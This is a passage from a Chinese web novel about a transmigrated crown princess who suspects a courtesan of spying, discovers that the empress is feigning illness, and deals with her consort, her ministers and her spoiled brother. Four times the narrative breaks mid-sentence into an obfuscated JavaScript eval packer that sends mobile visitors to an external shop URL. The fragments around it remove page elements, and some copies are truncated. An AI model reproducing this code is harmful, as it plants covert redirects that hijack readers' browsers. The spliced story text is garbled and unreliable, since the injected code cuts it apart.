男子柔弱,大都手不能提肩不能扛,出嫁前如同菟丝子一样依附在母亲和姊妹身上,出嫁后靠在妻主身边。若是他真这么想,倒也算他出色,但偏偏他的伪装在她们看来漏洞百出,目的一览无遗。
顾承乾没忍住,低笑出声:“志向很远大嘛!”
她故意拖长了调子,欣赏着这位敢于彻底改变自己,但又因为她的一句话,就瞬间绷紧了身体的男子,老神在在的停顿片刻,这才慢悠悠地道:
“你都这样说了,孤又怎么会不信呢?正好,孤有一件事,需要你这般有勇有谋,不输女子的儿郎来做。”
即便是不再提供情色交易,但在改变前期,肯定会有人不信,他这个负责人少不了和她们周璇一番,他又年轻貌美的,吃些小亏在所难免。原本还担心柳意已经从良,会不会不愿意再返回去替她做事,现在倒是安心了。
柳意表情瞬间凝固了。什么意思,他……他要回到怡红院?!
他刚刚下了狠心,厚着脸皮和顾承乾借钱赎身,甚至因为太女好女风,就将自己也往那方面塑造,结果他得到的是什么?
柳意有些无助,下意识地想露出以往的表情来向太女求饶,但又猛地想起自己此刻该有的性格,硬生生把到嘴边的话咽了回去,嘴角几度抽搐,最终还是咬咬牙,挤出一个比哭还难看的笑容:
“殿、殿下信重,草民……定当竭尽全力!”
“这位柳郎君,心思未免太过活络了些。”心思重、野心大,不适合入东宫。
柳意一离开,晓昭就吐出来这么一句话。昨日柳意还一脸柔弱,来了东宫又换了一副作态,想来另有图谋,顾承乾看他,也只觉得心机阴沉。
两位将军不会意图谋反或勾结异族,那柳意呢?会不会是他特意挑拨两位将军的关系,引得太女回来,然后假装勾引,从而进入东宫偷窃情报!
越想越觉得有理,原本还觉得他变脸速度比翻书还快,对他有了两分兴致的太女立刻翻脸,开始疑神疑鬼,但很快她又放下心来。
“不用担心,我有分寸。”
顾承乾意味深长的看着柳意离开的背影,脸上重新挂上了笑脸。他已经漏出马脚,敌明我暗,且看他要做什么。再说,他既然有所图谋,那肯定会好好完成她的任务,以此来让她信任,还不知道谁利用谁呢。
这么想着,柳意已经拐过转角,消失在了太女视线中。
刚一离开,原本特意挺起来的肩膀瞬间塌下,柳意靠在墙上,握了握拳,暗自为自己打气。
太女不让别人做这件事,偏偏让他来做,不是因为信任他吗?
他本来的打算就是给太女办事,趁机和她相处,现在不也是这样吗,总不能因为被暂时带到了东宫,就以为自己已经翻身了吧!
柳意很快就哄好了自己。
——
书房
顾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745144|189849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
承乾拾起案上狼毫,在奏章上写下一个大大的“阅”字,随手把它扔在了最多的那一堆里,那都是各地来的请安折子。另一堆稍小一些的是请假折子。
真不像话,朝臣月事可以请休七天,在家中办公,但她就不能。
处理了一个上午,最重要的是两件事,一个是下个月的秋收大典,就是皇室成员和朝中重要官员,到郊外与百姓共同秋收,这个要开始规划了。
另一个就是元日的番邦献礼,相当于国庆节。她们要提前数月报备来的人数,以及献上的具体物品,得到皇帝陛下的同意,现在成了征得顾承乾的同意。
其他的倒是平常,唯一要关注一下的是北狄此次要来的人。
顾承乾的目光在奏折上停顿良久,最后用笔,在上面重重的画出了一个圈。
苏日勒,北狄未来的王。
她们竟然让自家继承人亲自来到京城,北狄刚臣服不过十年,是周围小国里实力最强的,在顾承乾看来,性质上有点像匈奴,是一个要保持提防的对手。
苏日勒是北狄王女儿中最出色的那个,如果她在京城中“不慎”身亡,北狄相当于自断一臂,沧溟也会在很长一段时间里,都不需要再担心北狄。
这样重要的继承人,她们竟然敢派她来京城,是有所倚仗还是另有图谋?
顾承乾觉得是后者。
母皇病重,柳意挑起两位对战北狄的功臣内斗,被她给打断,而后柳意见事情不对,趁机投靠太女,顺便窃取机密……
通了,彻底通了,全都通了!
顾承乾兴奋的拍了一下桌案,眼中的光芒越来越盛。若柳意真是北狄埋下的钉子,那她的动作简直是神来之笔,不仅能让他替自己做事,还能让他给对方传递错误信息。
或许,她也可以稍微顺着点柳意,给他点甜头,让他误以为自己的计划成功了,好放松警惕,看看能不能暴露什么。
至于会不会双方毫无关系,一切都只是她到时候幻想……
太女表示,不可能有这么巧合的事情。恰巧母皇重病,恰巧两位将军都和北狄一战有关,恰巧柳意见了她就要追随她,恰巧北狄继承人要亲自来京城?
怎么这么多巧合都碰到一起了,她前世怎么就没巧合的中一个亿呢!
“晓昭——”
“臣在!”
“你手里还有多少男暗卫?”
暗卫这个高危职业一直是女多于男,但有的时候男暗卫会更容易让人放松警惕,有些任务做起来也会更方便一些。
“给柳意调过去两个,盯着他见了谁,都做了什么。尽量满足他的需求,记得不要让他知道是暗卫。”
“是!”
晓昭无声退下,书房里只剩下太女一人。顾承乾屈起食指,轻敲桌案,独自沉思了起来。
一个之前就有的疑问,经此一事再次浮出水面。北狄从人选敲定到奏章上递到她手上,时间显然要比她母皇生病要早,再想到她母皇一向强壮,这次的病本身就又十分突然……
这会不会也是一场阴谋。
12. 大不了还了去
顾承乾很少生病,除了每月的请安脉,她和医官几乎没什么交集,更别提太医院了,这还是她第一次主动去太医院。
若不是母皇病重,此事疑点重重,她哪里会来到这里。
太医院内。
“温大人,本月的脉案到你整理了。”
“你也来了快一年了,对这些事情应该也熟练了。”
太医院汇聚了全国医术最为高超的医者,而医者又是一个很吃经验的职业,所以,太医院里的医官大都是不惑之年,甚至年纪更大,但温怀济不同。
她今年才25,目前是太医院最年轻的医官。
温怀济连忙起身应下,谢过几位前辈的信任,匆匆去了脉案室。
宫中贵人们每月都要问脉请安,不同品阶的贵人要问诊的次数不同,问过后会登记在册,月末再重新整理一遍,一份用于日常使用,一份留作储存。
当然,这个整理肯定不是单纯的整理,不然也不需要医官们自己整理了。
宫中贵人们的身体有没有病,不只是她们医官决定的,有的时候会用一些小技巧,来吸引皇帝去看他们。这种小情趣皇帝也知道,毕竟当晚她就留宿在那里了。
但皇帝指的是皇帝的事,她们不能让这些脉案留下去让后人看到。
什么时候问诊时有症状,身体需要调理;什么时候是她们之间的情趣,不需要记录,这些东西医官们都要把握好分寸。
他们既要保存原始脉案作为依据,又要存好正经的,可以被人拿来和起居注对照查看的数据,也算不得容易事。
而且不能假借他人之手,只能由各医官们自己做。
如今温怀济温大人入职一年,这个月已经开始独立问诊,自己也做这些事情,知道什么该写什么不该写,也不用担心她把事情泄露,引得贵人羞怒报复了。
温大人将同僚的脉案摆好,对照着皇帝临幸的时间表,小心翼翼的将文字誊抄上去。
没错,皇帝什么时候临幸了谁,都是有明确记载的,不然皇帝有孕,就不知道谁是父亲了。
皇家毕竟不同于普通人家,宫中贵人也多是大家贵族,与皇家有个皇子,即便不能继承大统,有个闲散亲王也是好的,所以在这种事情上记录的比较详细。
涉及皇家尊严,温大人写的格外认真。
制止了要去通传的内侍,顾承乾看到的就是这样一幕。女子妆发精致,神情肃立,一丝不苟的伏在案前,一笔一划的抄录着什么。
顾承乾放轻脚步,默不作声的走到她的身后,眼睛一扫而过。
左面是一个单独的小册子,最下面的那一行书:8.29陛下私召,临幸彦侍君。
视线右移,到了她正在抄写的那一行:
8.27陛下龙体康健。
8.28陛下龙体康健……
8.30……
“两份脉案啊,哪个才是真正的脉案呢?”
背后传来幽幽的声音,温怀济下意识就要把正在撰写的脉案合上,却被太女抓了个正着。手腕一抖,一小团黑色的墨迹在宣纸上晕染开来,毁了这本精心抄录的脉案。
皇帝装病,不愿意让太女知道,医官却是瞒不过的。她们不懂这对儿最尊贵的母女是什么意思,但却老老实实的听从陛下的安排。
可现在呢,太女亲自来了,但凡是其他人,她们都能随意打发,可太女本人要怎么办?
温怀济心下一惊,猛地起身,回头便和正在看着临幸表的太女对上了视线。
太女未着正式朝服,仅穿着一身玄色常服,表情淡淡,似乎刚才的动静不是她发出来的,平静的松开了她的手腕,把右手落在了她身旁桌案上,捡起那本被染了污渍的脉案,有两份,一真一假。
此刻,原本充满了好闻书墨香,混着淡淡药香的宽阔房间,突然有些让人窒息了。
殿下是什么时候来的?
温怀济心脏骤停一瞬:“臣不知殿下驾到,殿下恕罪!”
她自知暴露,头重重的磕在地上,却是避开了太女的问话。顾承乾看着她的后脑勺,久久不曾开口。
都知道是因为皇帝重病,无法临朝,所以太女代其监国。但如今,医院的脉案上写着皇帝无病,身强体健,到底是太医院的脉案上出了错,还是她母亲的病出了错?
8.29,正是她刚刚监国的时间。
红润的脸庞,苍白却湿润的嘴唇,进门前的喊声……
那天的每一个细节,都在她脑中不断闪烁。她记性很好。
是在装病吗?
那如果一个皇帝装病,让她的继承人来监国,可能是什么意思呢?
是对她心生怀疑,所以试探她有没有篡位的心思?还是因为她的名声大了,支持她的人变多了,所以特意要打压她?
异世界二十余年的常识让她一瞬间做出了反应,整个人如同在冬天被兜头浇了一桶冰水,冷到发烫。她才知道,原来冷到了极点是会热的,热到在岩浆里也会觉得骨缝发凉。
年迈的掌权者或许总会因为苍老而产生恐惧,格外的厌恶年轻的、越来越健壮的孩子,如同厌恶衰弱的自己,因此越发卖力的打压孩子。
不过他们总会披上一层考验和教育的外皮。
可……
理智告诉她,皇权面前无亲情,但情感上却不断的告诉她,她们是母女。
那是她的母亲。
她无数次握着她幼小的,尚且拿不动笔的手,写下工工整整的“母”字;她会因为她册封太女的年纪太小,尚不记事,所以亲手牵着七岁的稚童坐上龙椅,宣称她是这个帝国未来的主人……
她曾和她共享同一个脉搏,彼此交融,密不可分。
她诞生于她的血肉。
太女垂眸:“别告诉陛下我来过。”
她不敢去问。
乾安殿
“乾儿还是没过来找我?”顾启朝有些坐不住了,走到门口向外张望,但门外除了零星几片不知道从哪里飘来的树叶,没有半点动静。
“这,臣也不甚清楚,太医院门口的侍卫说太女来了,不让她去通传,臣一看事情不对,便立刻来告知陛下了!”报信的太医如是说道。
皇帝在殿内焦急的来回踱步,但等了半天都没有等来人。
顾启朝眼前一亮:“莫不是我儿已知晓我之心意?”
知道她装病竟然没来找她,想来是明白她的心意,默默的接受了她的担子。
“把我香炉里的药渣都扔了,不必再放了,一股子苦味,闻的我心烦。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745145|189849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“是!”
本来她还担心,如果直接让乾儿理政,她会不会过于依赖她,什么事都来问她,所以才装病让她自己摸索,她只偶尔帮她调节心情,点拨一下思路,把控整体走向。
但现在女儿都已经知道她是装的了,却连问都没问,这不正是表明了她的决心吗?最需要瞒着的人已经不需要瞒着了,她也不用太过小心谨慎了。
孩子大了,懂事了啊!
此时,自诩精于测算人心,了解女儿的一代明君,也被爱女之心蒙蔽了理智,忽视了女儿最核心的一个问题。
阴谋脑。
“去告诉程将军,我已经等不及了,明天一早就要看到我的地契!”
顾承乾原本给了鸨父三天时间,但现在她反悔了,她要立刻就有结果。她承认,她就是迁怒。
原本还想着和他们慢慢玩,但现在,她没这个耐心了。
她行的端坐的正,她有什么怕的,她有什么要等的!
要试探就尽管试探,最次最次的结果,也不过是一身性命还了她去。
是啊,不过是把她给的还给她。
这个念头一出,顾承乾竟然罕见的平静了下来,心头一下子就轻松了起来,只觉得豁然开朗。
太女敛眸,暖黄色的烛光在眼底映出一小片黑色,安静的寝殿里分不清时间的流逝,只知道红烛烧的很快,烛泪积了一滩又一滩。
烛光摇曳,晃动的火光引起了太女的注意力,她终于抬起了头。
“小心!”
顾承乾单手将人拽住,那几乎燃尽的红烛啪嗒落地,在和地板接触的那一瞬间,火焰也应声熄灭,只留下一缕青烟。
被揽住的人显然是被吓得不轻,随着一瞬间的惊呼声,伸手揽住了太女的脖颈,小心翼翼的把头埋到太女的肩膀。
在东宫,这样耀眼的明黄色,不用猜就能知道他是谁了。
“殿、殿下……”
谢青珩一头墨发披在肩上,身上还带着几分水气,穿着寝衣,惊魂未定,白皙的面颊也染上一层薄红。
两人对视,顾承乾松开放在他腰间的手,看了看掉在地上的烛台,蹙了蹙眉,有些严肃:“你这是做什么。”
“臣侍见烛火将熄,便想着来换上一换,是臣侍手笨,惊扰了殿下。”
谢青珩紧了紧握在手中的红烛,低着头,表情有些失落。他竟然连这点事情都做不好。
见他这样,太女越发不解:“东宫没有侍男了吗,还要太女夫来做这些,你——”
“不是!”
“臣侍只是见殿下操劳,臣侍自己却什么都帮不上,所以……”察觉到失态,太女夫的声音骤然降了下来,垂着头小声嘀咕,“所以想帮殿下做点什么,谁知道那烛火竟然粘在了上面,没换好不说,还烫了我的手……”
谢青珩越想越委屈,他怎么就这么倒霉,这点小事都做不好,竟然还对殿下吼了,这下殿下肯定要厌烦他了,以后是不是又要独守空房了,说不定殿下很快就会纳侍,说不定……
“谢青珩。”
谢青珩心里百般思绪,听到有人叫他,还是下意识的抬起头,朦胧的眼睛就这样猝不及防的和太女温和的目光对上。
太女牵起了他的手。
“疼吗?”
13. 九曲十八弯的语言艺术
顾承乾今日方知,到底为什么是谢青珩被选来当太女夫。
纱幔散落,床板发出沉闷的响声。锦被之下,一双湿红的眼冒了出来,小心翼翼地窥探着顾承乾的脸色,时不时眼睛还转上一圈,露出带着几分傻气的笑,也不知道他都在想些什么。
她心思重,正合适心思少的,翻译过来就是恋爱脑傻白甜,全心全意爱慕她,追逐她,尤其是他还能为她打理东宫。
顾承乾极轻地叹了一声:“别闹了,伸手让我看看。”
“好~”他连忙应声,还带着几分未尽的鼻音。
他好像总是喜欢哭。
顾承乾俯下身,两人之间的距离瞬间被人拉近,谢青珩屏住了呼吸,心跳如擂鼓。
太女的动作不轻不重,冰凉的药膏抹在指腹,灼热的感觉褪去,谢青珩手控制不住的缩了缩,又被顾承乾一把拉住。
“端敏贤淑、贞静持躬,静慧持守、夫道可称。”
顾承乾每说一个字,谢青珩的心就紧上一分,手也不自在的想要缩回去,却又被太女牢牢的把控住,只能默默的攥紧了被子里的那只手。
这是他册封圣旨上的原话。
“瞧把你给吓得。”顾承乾笑出了声,“看来你也觉得,这些话和你不大相配?”
太女的语气称不上差,似乎是想和他开玩笑,但谢青珩却是不敢接话,只用那双氤氲着水汽的眸子静静的望着她。
顾承乾低笑了一声,将上好了药的手放在锦被上,顺手抚上他散落在枕边的墨发,动作带着一种前所未有的亲昵。
“你在特意讨好于我。”太女十分笃定,从小到大,讨好她的人不少,除了她的母亲,几乎所有人都会来讨好她,或多或少,有私心的没私心的……
很多很多,她是这个国家的继承人,这这再正常不过了。
只有她的母亲是不一样的。大抵是不一样吧。
又想到了母亲,顾承乾思绪乱了一瞬,语气也稍有停顿。就是这片刻的停顿,让谢青珩心猛地一沉,巨大的羞耻感几乎将他淹没。
讨好。
这个词让他很自然的联想到了自己最羞于启齿的作为。他在讨好太女,用了不入流的手段,私德有亏,愧为储夫。
但是……
顾承乾平复了心情。
“讨好我的很多,但他们大多都不得门路。”老师教导她,她敬重却不亲近;宫人服侍她,她宽容却也疏离。即便是她的皇父,二人之间也总是差了点什么,相处不太自然。
“不过你是我的太女夫,所以,你有些特权。”指尖慢条斯理地抚上他的颈,太女继续开口,“孤亲自教你。”
烛光闪烁,几只无人看顾的烛台已经燃尽,屋内越发昏暗了起来。谢青珩神情懵懂,声音带着些许沙哑,下意识地发问,“教……教什么?”
“教你用什么方式,才能让孤的目光只落在你的身上。”
话音落下,太女夫眼前突兀了暗了一下,随后,一个温热的怀抱将他笼罩住,他的视线再次恢复光亮,却没有精力将目光分出去。
寝殿内,那些燃了很久的红烛接连熄灭,只剩下那支被太女夫握在手里,又被太女亲手续上的“幸运烛”还坚守在岗位上,直到后半夜才寿终正寝,结束了劳苦功高的一生。
第二天一大早,程将军就麻溜的送来了地契,以及一份名单,至于怎么来的,为什么那个鸨父没亲自送过来,这些都不在太女要考虑的范围内了。
她非常快速安排人按照名单抓人,找工匠重新装修整个怡红楼,争取早日把柳意派进去。
虽然她母皇的病和人家北狄无关,但柳意却不像是无辜的样子,该查查,该试探的试探。等装修好了,她就把柳意给扔出去。
不过柳意没给她这个机会:
“柳意身份微贱,承蒙殿下不弃,委以重任,此情无以为报,只此薄命,全付与殿下,此行,必不负殿下重望!”
执手相看,男子眼含热泪,欲语还休,几经犹豫,最后抱拳单膝跪地。
“柳意自幼孤苦,并非那些只图享乐的庸俗男子,殿下不必挂念柳意,只消照顾好自己便可。”
话虽如此,但这位潇洒特别的男子,依旧一步三回头,依依不舍。
无奈,怕误了上朝时辰,太女只好是顺着他的意思来:“柳郎辛苦,此行务必珍重,孤定会多多出宫看你。”
太女对他的忠诚十分感动,不仅表示十分舍不得柳意,要常看他,而且还连忙给他送了两个名为保护,实为监视的男暗卫,这才把他们一起丢出了皇宫。
大绿茶进步越来越大,要不是目的性太强,还总是控制不住本能,暗戳戳的跟旁人攀比,踩一捧一,她都差点以为他也被穿越了。
他太精通此道了。
这样想着,顾承乾对他的提防又重了几分。
反差这么大的性格,他一下子就能转换,如此善于伪装,他还有什么能是真的?
顾承乾越发怀疑他的身份,但同样的,她又有些犹豫。这么明显的不对劲,如果他真的是卧底,又怎么会这样轻易地就漏出马脚?
送了走柳意,太女稍作沉思,把这件暂时无法下定论的事情放到了一边,再次去上早朝。
或许是因为文臣里小李探花,武将里程、傅两位将军都受过了处罚,所以今日的朝堂有些安静。
只有礼部尚书林大人在那滔滔不绝的讲述古礼,从女娲大神开天造人,到后来沧溟国的建立,从君臣到妻夫,最后在妻夫上来回阐述。
说是太女应以身作则,顺应天性,遵守理法,与男子交合为上。然后说什么凡事要适度,过犹不及,即便再喜欢也不能太过沉迷。储君为日后的国主,当繁衍后嗣,不能因自身喜恶,葬送一国根基。
啰哩啰嗦一大堆,还引经据典的,让人云里雾里的,要不是最后一句话,顾承乾差点没听出来她什么意思。
“林大人多虑,陛下也是不惑之年方有子息,接连有了我与皇妹皇弟,孤尚且不急。”
这是来她这儿催生了。
礼部的人就是啰嗦,礼部尚书更是如此。催生就催生呗,还要引经
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750678|189849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
据典,说这么多话,符合刻板印象。
“殿下,臣前日在——”
怡红楼三个字尚未出口,胡尚书便不顾礼仪的窜了过来,一把捂住了她的嘴。
“殿下是一国储君,与国家社稷息息相关,林大人的意思是殿下宫中只有太女夫一人,难免有不周到的地方。”
太女在怡红楼当众抱走一个女子这种隐秘事,只有她们几个在场的大人才知道,她们不可能到处去传。
除了本就关注太女的人,其他朝臣都不知晓此事,更不会觉得胡尚书是为了给林尚书打掩护,只惊诧的看向她。
这个时候说这些?
众大臣迟疑,一时之间不知道怎么接话,只有程大人当即眼前一亮,选侍,那可是到他发挥的时候了,他家有六朵漂亮的金花。
“殿下!”程将军喊的撕心裂肺,生怕有人跟她抢,“臣家中有六个男儿!”
六个啊,她是所有文武百官里生的最多的,但只有她没有女儿,虽然她也才三十六,但连着六朵小花,她也是歇了心思了。
当然,虽然绝了后,但孩子都是她身上掉下来的肉,她也没亏待了他们,把几个男儿也教养的很好。就是这帮年轻的小娘都没啥眼光。
不过太女肯定很有眼光。
程将军越说越兴奋:“臣两个男儿出嫁,老四正当妙龄,两个幺女到了可以出嫁的年纪,还有老大新寡,您要是有这方面爱好,也可以……”
“程将军!”越说越离谱,连寡夫都搬出来了,这就是她母皇说的心思通透?为什么别人都不先说出来就她自己说,她是脑子坏了吗?
她以前竟然怀疑这种货色会伪装自己,她也是被猪油蒙了心了。
“陛下抱恙,孤无心男色。”她看向了提出此言的胡尚书。
她纳不纳侍,和户部尚书有什么关系,而且她母亲现在是重病的状态,这个提议难道是她该说的吗?还是说,她知道母皇是装病,在帮她母皇试探她的孝心?
顾承乾心中一痛,死死的咬住后槽牙,把翻腾的情绪忍了下去,太女朝服之下,手掌无意识攥起,如同泄愤一般,把刀口对准了无辜的程将军。
“程将军也少牵些线!”
“一共六个儿子,嫁了三个寡一个,另外两个也是三天一大吵两天一小闹,你要是不牵线,说不定世界上还能少几个怨侣!”
“殿下,臣——”
“好了,孤看你们也没什么大事,下旬秋收节就要到了,此事事关重大,别出了差错。”
“同往年一样,礼部和户部为主,其余四部为辅,林尚书、胡尚书。”
“臣在!”二位尚书齐齐上前,谈起了早有规章的流程。
太女是发泄了完怒气,但程将军可是连辩驳的机会都没捞着,直接被堵了回去,偏偏人家太女还直接提起了正事,现在她就连呼吸都有点打扰人家了。
无奈,程将军只好息了声,转而把气撒在了傅将军身上,恶狠狠的盯紧了她。
最无辜的傅将军:?
有些冷冷的呢。
14. 紧急撤回一条陈世美
户部管农业,礼部掌各项仪式和流程,负主要责任。其他四部里工部负责农具,兵部提供安保,吏部记录百官表现,刑部维护秩序。
这都是老套路了,早有成例,也不需要太女改动。
“好,就这么办了。”顾承乾起身,被提到的其她四位尚书也上前一步,作揖称是,今日的早朝就这样平淡的结束了。
殿外。
胡尚书一把将迟迟不愿离开的好友拽走,林尚书皱紧眉头,颇有不解:“殿下尚未明白我的意思,我要和殿下私下进言,你拉我做甚。”
林尚书用力甩了甩袖子,终于挣开了胡尚书的禁锢,但此时朝臣已经退得差不多了,远远的还能听见程将军的喊声,想来太女也早就离去了。
“你这是做甚,今日早朝就不让我说话,现在又不让我和殿下进言。往日你不着调也就算了,千种万种我皆依着你,但此事上万不能乱来。”
“你何时看我在正事上胡来了。”胡尚书被好友的古板木讷给气笑了,但她也早就习惯了她这副一板一眼的性子,依旧好声好气,掰开了揉碎了给她讲。
“我知道你是为了殿下着想,并无半点私情。但殿下年轻,尚未定性,也不一定是喜爱人家女娘,许是知己也说不定,她和太女夫也是妻夫和谐,不会对社稷有半分危害。
但你若是非要去和殿下说明,殿下一时逆反,便是没这个心思也要有了,这岂非断送江山啊!”
以林尚书的性格,你要是和她说君臣有别,说她会受到太女怨恨,兴许会被太女清算,她肯定要告诉你她只为尽人臣之责,并且大义凛然的选择赴死。
但你要和她说她方法选错了,会适得其反,那她就会好好思考一下方式了。
林尚书此时彻底被说服,心里一阵后怕:“竟是这般,还好有你在,否则我怕是要酿成大祸了。”
她心里唏嘘,回想起当时太女的脸色,当时似乎并没有什么变化,想来是不知道她想说什么,这才彻底松了口气。
“殿下也不知晓你我在现场,不会和此事联想的,倒是我……”胡尚书轻叹一口气,“情急之下,我竟然在此时提议给殿下选侍,我看殿下面有疑色,怕是坏了陛下的好事。”
但话又说回来了,培养太女就培养太女,还非要装病,肯定是也抱了偷懒的心思。她暴露了陛下的计划固然有错,但陛下欺骗长女难道就一点错没有吗?既然都有错,那就大姐不笑二姐了。
胡尚书瞬间豁达,反而是不曾想到这点的林尚书面露愧色:“都是因为我思虑不周,若是陛下怪罪,我自一力承担。”
陛下要培养太女,此为关乎国本的大事,就因为她的愚笨,导致陛下被太女怀疑,若是因此事出了差错,她又有何颜面面对天下万民。
林尚书决心已定,胡尚书又怎么看不出来。
“你看你,又急又急!”胡尚书揽上了林尚书的肩,两人边走边说,“殿下本就没什么大问题,你看这几天殿做的不也是很好吗?你还没重要到能轻易就动摇国本地步!”
“再说了,便是有问题,陛下英明神武,难道她没想过殿下发现要怎么办吗?你且宽心……”
胡尚书心思活络,是出了名的辩才,刚刚林尚书要去找顾承乾,她还说人家断送江山呢,现在又说人家没那么重要,别往自己脸上贴金。
见人说人话,见鬼说鬼话,什么说法有利于自己就说什么,偏偏胡尚书就信她这一套,真的是。
二人身影渐远,胡尚书的声音慢慢变淡,晓昭自身后的宫墙中翻出,默默的看了一会儿两人的背影,随后毫不犹豫的转身离去。
该回去复命了。
御书房。
太女不是个喜欢拖延的人,每日下朝先是换身衣服,紧接着就会赶去批奏折,除了放假,很少让事情隔夜,现在就是太女工作的时间。本来该太女独处的御书房里,出现了一位不速之客。
“皇姐~~太女姐姐~~”
身着浅蓝色宫装的男子蹲在太女腿边,拉紧她的袖子,让她无法继续在奏折上回复,于是太女面不改色的放下笔,状若无人的用另一只闲着的手翻起了下一本奏折。
“太女姐姐,你最疼依泽了,依泽真的很喜欢她,你就给我赐婚嘛~”
“你之前和母皇说过的,你是长姐,会照顾我和坤仪妹妹的,你不能言而无信——”
这位当朝唯一的公主,陛下唯一的皇男,太女本人的亲生弟弟自然是万千宠爱,被众人拥护,所以性子也有些骄纵。
不过他说的话也是真的,顾承乾都要得到皇位了,照顾弟妹这种话自然不吝啬说出口。
同母所生,只要不给她捣乱,顾承乾很乐意做个好姐姐。
但不意味着她就要答应:“不要无理取闹了,赵大人早有发夫,你又凑什么热闹!京城大把的好女娘,母皇允你随意挑选,找个家世清白没有夫侍的不好吗?”
“不要不要,赵大人是新科状元,年轻有为,旁人在科考上比不过她,凭什么来娶我。”
顾依泽被养在后宫,宫里就这么一个男儿,自然被包括皇夫在内的各种侍君捧在手心,听不得旁人的劝,也听不进皇姐的,直接捂住了耳朵,但还是抵挡不住太女的声音传来。
“她已有夫郎,你去了也只能做侍,何苦如此。”
顾依泽气恼:“自古哪有公主为侍!”
“正是如此。”像是正等着他这句话一样,太女立马就接上话,拉起顾依泽的手,示意他起身,“既然知道,你又为何非要嫁与她,就因为她是最年轻的状元?”
“就因为她是!”顾依泽挣开了太女的手,走到太女对面,双手拍在案上,自上而下的看着顾承乾的眼睛,那张俏丽精致的脸庞变得狰狞。太女收起了脸上的笑意。
“我就是这样肤浅,我是公主,那不过是个平民之子,我如何比不过他,要让你们百般阻拦,宁可让我做侍都不愿意令她们二人和离!”
他还从来没有被这样拒绝过,皇夫拒绝了,他亲生父亲不同意,其他的侍君爹爹也劝他换一个人选,就连以往最疼爱他的太女皇姐都不认可。
“你明明答应母皇要照顾我和妹妹,你骗人,我要去告诉母皇!”
顾依泽鼻尖绯红,咬紧的下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759827|189849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
唇微微发白,一脸倔强的看着顾承乾,而顾承乾并没有回答他,落空的双手自然落在了桌案上,沉下脸,抬起头,平静的看了他一眼:“说完了吗?”
太女低眸,提笔,在奏折上写了个‘阅’字:“说完了就可以走了。”
“你——”
“好,走就走!”顾依泽跺脚,行至门边却又停了下来,见对方没有半点动静,依旧稳如泰山,愤恨的咬了咬唇,提声道,“我这就去找母皇告状,你可别后悔!!”
顾承乾无所谓的耸了耸肩,拿起下一本奏折,心里默数:3、2……
“皇姐~~”
这回竟然连三个数都没撑住。顾承乾低头,把嘴角的弧度压了压,晃了晃了胳膊。顾依泽连忙凑了上来,讨好的给太女捏起了肩膀。
“太女姐姐,这个力度怎么样啊?”
顾承乾没说话,只自顾自的往后靠了靠,另一个肩膀动了动,然后就立刻传来了一股不轻不重,力度正好的揉捏。
顾依泽一会儿捏肩,一会儿捶背,忙的不可开交,偏偏嘴也闲不得:“皇姐,我想了一下,其实为了这件事去烦母皇也不太好,她还在生病呢,是吧?”
想了一下?怕是早就想到这一点,觉得他姐姐不会让他去打扰生病的母皇,所以专门想要用这个来威胁她,以此达到自己的目的。
只是他但没想到,顾承乾竟然毫无反应,一时间进退两难,不去挂不住面子,但他又不是太女,也不敢真打扰了母皇养病,只能厚着脸皮,随便找了个台阶下。
他虽然受宠,但什么时候做什么会讨人喜欢,怎么样就被人厌弃他却是明白的不能再明白了。
顾承乾只觉好笑:
“你看你,聪明吧——又不算聪明,但蠢笨也谈不上,母皇的意思是给你找个好相处的人家,免得以后受苦。”
“你怎么非要做些吃力不讨好的事呢。”
“你见过赵大人吗?你可知晓她那平民之夫是她老师之子,二人自幼相识,她老师对她恩重如山,二人情同母女,如今早已仙去,赵大人于床前立誓此生不负?”
肩膀上的手早就停下了动作,被宠溺长大的少男姿态妍丽,一双漂亮的杏眼蓄满了泪水,白皙秀气的鼻子向上翘起,撇了撇嘴,又是要哭。
但顾承乾却没有半分怜爱之情,继续往人家心口上捅刀子:
